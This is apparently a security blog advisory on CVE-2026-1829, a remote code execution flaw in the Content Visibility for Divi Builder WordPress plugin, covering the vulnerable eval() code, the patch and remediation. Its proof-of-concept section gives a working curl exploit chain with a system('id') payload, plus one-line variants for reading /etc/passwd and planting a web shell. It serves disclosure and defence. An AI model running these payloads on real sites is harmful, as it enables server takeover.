CVE-2026-1829: Contributor+ RCE in Divi Builder Plugin (CVSS 8.8)
Table of Contents
CVE-2026-1829 is a CVSS 8.8 (High) Remote Code Execution vulnerability in the Content Visibility for Divi Builder WordPress plugin. An authenticated attacker with Contributor-level access can place arbitrary PHP code in a Divi module shortcode attribute and execute it on the server — without any admin interaction.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Content Visibility for Divi Builder |
| Plugin Slug | content-visibility-for-divi-builder |
| CVE ID | CVE-2026-1829 |
| CVSS Score | 8.8 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Remote Code Execution (Code Injection) |
| Affected Versions | <= 4.02 |
| Patched Version | 5.00 |
| Published | June 2, 2026 |
| Researcher | ZAST.AI |
| Wordfence Advisory | Link |
Description
The Content Visibility for Divi Builder plugin lets site owners show or hide Divi modules based on a PHP boolean expression. That expression is stored as the cvdb_content_visibility_check attribute on any Divi shortcode, such as [et_pb_text].
The plugin passes this attribute value directly to PHP’s eval() — with no sanitization, no token checking, and no callable filtering. Because Contributors can create draft posts and preview them, they can inject any PHP code and have it execute on the server the moment the preview loads.
Technical Analysis
Plugin Architecture
Content Visibility for Divi Builder wraps every registered Divi Builder shortcode (including et_pb_text, et_pb_section, and all others) in a custom class called CVDB_ET_Builder_Element. This wrapper intercepts shortcode rendering to check the cvdb_content_visibility_check attribute before deciding whether to render the module.
The two files involved are:
includes/cvdb-et-builder-element.class.php— the shortcode wrapperincludes/plugin.class.php— contains the dangerousevaluate_visibility_expression()method
The Vulnerable Function
In includes/plugin.class.php (lines 229–257 of version 4.02):
public static function evaluate_visibility_expression($expression, $type, $data) {
$visibility = true;
try {
eval( '$visibility = ' . $expression . ';' );
} catch (ParseError | Error $error) {
// ... error email sent to admin ...
$visibility = false;
}
return $visibility;
}
The $expression parameter is taken directly from the shortcode attribute. There is no validation, no sanitization, and no allowlist. The eval() call builds the string $visibility = <attacker-input>; and executes it.
The Execution Path
- A Contributor creates a post containing any Divi shortcode with a malicious
cvdb_content_visibility_checkattribute. - When the post is previewed, WordPress renders the shortcode by calling the plugin’s
cvdb_execute()method (cvdb-et-builder-element.class.php, line 70). - The method reads the attribute value at line 97:
$visibility = ContentVisibilityForDiviBuilder::evaluate_visibility_expression(
str_replace( array( '%22', '%5D' ), array( '"', ']' ), $atts['cvdb_content_visibility_check'] ),
'shortcode',
$this->wrapped_element
);
- The plugin applies a simple
str_replacefor URL-encoded characters, then passes the value directly toevaluate_visibility_expression(). eval()executes the attacker’s code on the server.
The str_replace for %22 → " and %5D → ] is not a security control — it is a Divi Builder encoding compatibility shim. It does not prevent code injection.
Why Contributors Can Exploit This
Contributors in WordPress can:
- Create new posts and save them as drafts or pending review
- Access the preview URL for their own posts
WordPress processes shortcodes when rendering the post preview. The cvdb_execute() handler has no check for is_user_logged_in() with a high-privilege role, nor does it check who authored the post. Any preview of a post containing the shortcode will trigger the eval().
Because Contributors can preview their own drafts — without admin approval — they can trigger the RCE immediately after creating the post.
Proof of Concept
Disclaimer: This proof of concept is provided for educational purposes only. Testing should only be performed on systems you own or have explicit written permission to test.
Prerequisites:
- WordPress site with Content Visibility for Divi Builder <= 4.02 installed and active
- Divi Builder plugin installed and active
- An account with at least Contributor-level access
Step 1 — Authenticate and get a nonce
# Get a login nonce first
LOGIN_NONCE=$(curl -sc cookies.txt "http://target.test/wp-login.php" \
| grep -oP '(?<=name="wploginform" value=")[^"]+')
# Log in as a Contributor
curl -sb cookies.txt -c cookies.txt "http://target.test/wp-login.php" \
-d "log=contributor&pwd=password&wploginform=${LOGIN_NONCE}&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check" -L -o /dev/null
# Get a REST API nonce
REST_NONCE=$(curl -sb cookies.txt "http://target.test/wp-admin/admin-ajax.php?action=rest-nonce" | tr -d '"')
Step 2 — Create a draft post with the malicious shortcode
# The payload: system('id') returns the OS user — proof of RCE
PAYLOAD='system('\''id'\'')// '
POST_ID=$(curl -sb cookies.txt \
"http://target.test/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-H "X-WP-Nonce: ${REST_NONCE}" \
-d "{
\"title\": \"Test\",
\"content\": \"[et_pb_text cvdb_content_visibility_check=\\\"${PAYLOAD}\\\"]Hello[/et_pb_text]\",
\"status\": \"draft\"
}" | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
echo "Draft post ID: $POST_ID"
Step 3 — Preview the post to trigger RCE
# Request the preview — the shortcode is rendered, eval() fires
curl -sb cookies.txt \
"http://target.test/?p=${POST_ID}&preview=true" | grep -o 'uid=[0-9]*.*'
Expected output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The output from system('id') appears in the page source because system() prints its result directly to output. This confirms arbitrary command execution on the server.
Verification
Replace system('id') with file_get_contents('/etc/passwd') to read arbitrary files, or with file_put_contents('/var/www/html/shell.php','<?php system($_GET[0]);') to plant a web shell.
Patch Analysis
Version 5.00 introduces a comprehensive token-based expression validation system. The fix has three components:
1. validate_expression() — token allowlist + callable denylist
The new validate_expression() method (plugin.class.php, line 402) tokenizes the expression using PHP’s token_get_all() and enforces:
- Token allowlist: Only literals, constants, comparison operators, logical operators, and array syntax are permitted.
T_VARIABLE($var), assignment operators, and heredocs are blocked. - Callable allowlist: Any function call must appear in the
get_allowed_callables()list. Unknown callables are rejected. - Callable denylist:
eval,assert,system,exec,shell_exec,passthru,popen,proc_open,create_function, and others are explicitly blocked. - Character allowlist: Only
(),,,!, comparison, and arithmetic characters are allowed. Semicolons, dollar signs, and backticks are blocked.
2. Publish gate in SecurityScanner
The new SecurityScanner class hooks into wp_insert_post_data and rest_pre_insert_post to block publishing when expressions fail validation. When validation is enabled:
- Classic Editor saves are intercepted and fail with a
wp_die()error page - REST API saves receive a
400 Bad Requestwith a JSON error body - AJAX saves (Divi’s Visual Builder) receive a JSON error response
3. Isolated eval() in global namespace helper
The eval() call is moved to includes/global-eval-helper.php, a file with no PHP namespace declaration:
function cvdb_eval_expression( $expression ) {
return eval( 'return ' . $expression . ';' );
}
Callers inside the plugin’s namespace now invoke \cvdb_eval_expression(). This ensures that expressions resolve functions and constants against the global namespace (matching user expectations) while centralizing the single eval() call site for easier auditing.
Note: The validation system is opt-in — it must be enabled by an administrator via the plugin settings. However, the publish gate and the token/callable denylist provide meaningful protection even without full validation mode enabled.
The Key Diff
public static function evaluate_visibility_expression($expression, $type, $data) {
$visibility = true;
+ $validation_enabled = get_option( self::$validation_option_key );
+ if ( $validation_enabled === '1' ) {
+ $validation_result = self::validate_expression( $expression );
+ if ( $validation_result !== true ) {
+ // log and return $visibility (default: show content)
+ return $visibility;
+ }
+ }
+
try {
- eval( '$visibility = ' . $expression . ';' );
+ $visibility = (bool) \cvdb_eval_expression( $expression );
} catch (\ParseError | \Error $error) {
Timeline
| Date | Event |
|---|---|
| June 2, 2026 | Vulnerability publicly disclosed by Wordfence |
| June 2, 2026 | Patched version 5.00 released |
| June 7, 2026 | Blog post published |
Remediation
Update the Content Visibility for Divi Builder plugin to version 5.00 or later immediately.
- Go to WordPress Admin → Plugins → Installed Plugins
- Find Content Visibility for Divi Builder
- Click Update Now
After updating, navigate to the plugin’s settings and enable expression validation to activate the full security protection. The plugin’s API Reference page (Tools → Content Visibility for Divi Builder API Reference → Security tab) also provides a content scanner to audit existing posts for dangerous expressions.
If you cannot update immediately, consider removing the plugin or restricting Contributor-level access on your site until the update can be applied.
References
- Wordfence Advisory — CVE-2026-1829
- Trac — Vulnerable source: plugin.class.php#L229
- Trac — Patch changeset 3543621
- CVE Record — CVE-2026-1829
Frequently Asked Questions
What is CVE-2026-1829?
CVE-2026-1829 is a CVSS 8.8 High severity Remote Code Execution vulnerability in the Content Visibility for Divi Builder WordPress plugin. An authenticated attacker with Contributor-level access can run arbitrary PHP code on the server by placing a malicious expression in a Divi module shortcode.
Which versions of Content Visibility for Divi Builder are affected by CVE-2026-1829?
All versions up to and including 4.02 are affected. Version 5.00 contains the fix.
What can an attacker do with CVE-2026-1829?
An attacker can execute any PHP code on the server. This includes reading sensitive files, running system commands, creating backdoors, and fully compromising the site.
Does an attacker need to be logged in to exploit CVE-2026-1829?
Yes. The attacker must have at least Contributor-level access to the WordPress site. Contributor accounts can create draft posts and preview them, which is enough to trigger the exploit.
How do I fix CVE-2026-1829 in Content Visibility for Divi Builder?
Update Content Visibility for Divi Builder to version 5.00 or later from the WordPress admin dashboard or wordpress.org.
Has Content Visibility for Divi Builder been patched for CVE-2026-1829?
Yes. Version 5.00 was released on June 2, 2026 and resolves this vulnerability by adding expression validation with a token-based allowlist and callable denylist.